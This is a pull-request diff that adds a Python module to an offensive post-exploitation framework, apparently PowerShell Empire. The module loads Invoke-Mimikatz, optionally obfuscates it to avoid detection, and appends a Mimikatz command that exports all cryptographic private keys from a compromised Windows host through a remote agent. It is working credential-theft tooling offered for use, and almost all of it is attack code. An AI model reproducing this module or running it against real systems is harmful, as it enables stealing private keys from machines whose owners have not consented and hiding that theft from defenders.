Merge pull request #768 from mlinton/patch-4

Create Keys.py to extract private keys

lib/modules/powershell/credentials/mimikatz/keys.py

@@ -0,0 +1,78 @@
+from lib.common import helpers
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-Mimikatz DumpKeys',
+
+            'Author': ['@JosephBialek', '@gentilkiwi'],
+
+            'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
+                            "to extract all keys to the local directory."),
+
+            'Background' : True,
+
+            'OutputExtension' : None,
+            
+            'NeedsAdmin' : True,
+
+            'OpsecSafe' : True,
+
+            'Language' : 'powershell',
+
+            'MinLanguageVersion' : '2',
+            
+            'Comments': [
+                'http://clymb3r.wordpress.com/',
+                'http://blog.gentilkiwi.com'
+            ]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                'Description'   :   'Agent to run module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+        
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+        
+        # read in the common module source code
+        moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
+        if obfuscate:
+            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
+            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
+        try:
+            f = open(moduleSource, 'r')
+        except:
+            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+            return ""
+
+        moduleCode = f.read()
+        f.close()
+
+        script = moduleCode
+        
+        # add in the key dumping command
+        scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
+        if obfuscate:
+            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+        script += scriptEnd
+        return script